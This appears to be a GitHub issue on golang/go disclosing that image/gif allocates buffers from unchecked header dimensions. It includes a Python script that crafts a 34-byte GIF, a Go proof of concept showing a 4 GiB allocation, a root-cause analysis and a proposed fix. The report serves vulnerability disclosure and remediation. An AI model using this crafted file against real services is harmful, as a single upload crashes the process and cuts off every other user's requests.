golang/go
View on GitHubimage/gif: improve documentation on how to avoid unexpected allocations by using image.DecodeConfig
Open
#79063 opened on Apr 30, 2026
DocumentationNeedsInvestigationhelp wanted
Description
Summary
image/gif allocates a pixel buffer sized directly from GIF header dimensions
with no upper bound. A 34-byte malicious GIF triggers a 4 GiB allocation in
under 3 ms — before any pixel data is read.
Confirmed on Go 1.26.0 (macOS arm64, Linux amd64).
Reproduction
# gif_craft.py — creates the 34-byte malicious GIF
import struct
W = H = 65535
gif = bytearray()
gif += b'GIF89a'
gif += struct.pack('<HH', W, H)
gif += bytes([0xF0, 0x00, 0x00])
gif += bytes([0,0,0, 255,255,255])
gif += b'\x2C'
gif += struct.pack('<HHHH', 0, 0, W, H)
gif += bytes([0x40, 0x02, 0x01, 0x14, 0x00, 0x3B])
with open('/tmp/malicious.gif', 'wb') as f:
f.write(gif)
print(f'{len(gif)} bytes written')
// gif_poc.go
package main
import (
"fmt"
"image/gif"
"os"
"runtime"
"time"
)
func memMB() uint64 {
var m runtime.MemStats
runtime.ReadMemStats(&m)
return m.Alloc / 1024 / 1024
}
func main() {
f, _ := os.Open("/tmp/malicious.gif")
defer f.Close()
before := memMB()
start := time.Now()
_, err := gif.DecodeAll(f)
fmt.Printf("Before: %d MB\nAfter: %d MB (delta: +%d MB)\nTime: %v\nError: %v\n",
before, memMB(), int64(memMB())-int64(before), time.Since(start), err)
}
Output:
Before: 0 MB
After: 4096 MB (delta: +4096 MB)
Time: 2.503417ms
Error: gif: not enough image data
The error fires after the 4 GiB allocation. The damage is already done.
Root Cause
newImageFromDescriptor() in src/image/gif/reader.go calls
image.NewPaletted() → pixelBufferLength() → make([]uint8, w*h).
pixelBufferLength() only guards arithmetic overflow (negative result on
32-bit). On 64-bit: 65535 × 65535 = 4,294,836,225 fits in int64 — no panic,
no error, 4 GiB allocated unconditionally.
The logical screen dimensions set in readHeaderAndScreenDescriptor() are
never validated for practical size — only that frame bounds fit within them.
http.MaxBytesReader does not help — the 34-byte body is read in full
before any allocation limit is reached. The allocation comes from header
fields, not pixel data.
encoding/gob received equivalent hardening in Go 1.20 via
saferio.SliceCapWithSize. image/gif did not.
Proposed Fix
In src/image/gif/reader.go, readHeaderAndScreenDescriptor():
const maxGIFPixels = 1 << 26 // 64M pixels ≈ 64 MB (comfortably covers 4K frames)
func (d *decoder) readHeaderAndScreenDescriptor() error {
// ... existing parsing ...
d.width = int(d.tmp[6]) + int(d.tmp[7])<<8
d.height = int(d.tmp[8]) + int(d.tmp[9])<<8
if int64(d.width)*int64(d.height) > maxGIFPixels {
return errors.New("gif: image dimensions too large")
}
// ...
}
Bounding the logical screen here covers all frame allocations
(since newImageFromDescriptor enforces frame ≤ logical screen)
including the second buffer allocated by uninterlace().
Impact
Any Go service calling image.Decode() or gif.Decode() on untrusted input
is affected — including applications that import _ "image/gif" indirectly.
One malicious upload OOM-kills the process, terminating all in-flight requests
from all other users simultaneously.
Amplification ratio: 34 bytes → 4,294,836,225 bytes (126,318,712 : 1)
---
**Title to use:**
image/gif: no allocation limit — 34-byte GIF triggers 4 GiB allocation before any pixel data is read
**Label to add:** `Security` (if available), `NeedsInvestigation`